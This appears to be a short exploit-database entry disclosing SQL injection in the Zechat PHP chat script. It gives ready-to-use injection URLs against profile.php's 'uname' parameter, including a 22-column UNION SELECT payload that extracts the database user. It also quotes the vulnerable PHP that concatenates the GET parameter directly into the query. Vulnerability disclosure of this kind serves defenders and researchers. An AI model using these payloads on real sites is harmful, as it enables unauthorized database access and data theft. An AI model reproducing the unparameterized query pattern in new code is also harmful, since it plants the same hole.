# Exploit Title: PHP Zechat Script - Sql Injection
# Date: 2020-07-30
# Exploit Author: AadministratorR - Poyaasd9@gmail.com
# Vendor Homepage: https://bylancer.com/products/zechat-php-script
# Tested on: Ubunto,Windows10
# Dork: N/A
Exploit:
https://localhost/profile.php?uname=-admin%27+[sql+command]%23
https://localhost/profile.php?uname=-admin%27+union+select+1,2,3,4,5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%23
$uName = strtolower($_GET['uname']);
if(!isset($_GET['uname']))
$query1 = "SELECT * FROM `".$config['db']['pre']."userdata` where username = '".$_GET['uname']."'";
$result1 = $con->query($query1);